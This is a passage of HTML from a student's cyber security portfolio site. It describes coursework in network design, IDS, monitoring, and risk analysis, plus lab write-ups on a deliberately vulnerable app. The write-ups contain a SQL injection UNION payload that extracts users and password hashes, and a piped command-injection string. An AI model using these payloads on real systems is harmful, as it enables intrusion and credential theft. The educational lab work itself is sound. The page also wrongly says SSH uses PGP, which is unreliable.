class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a 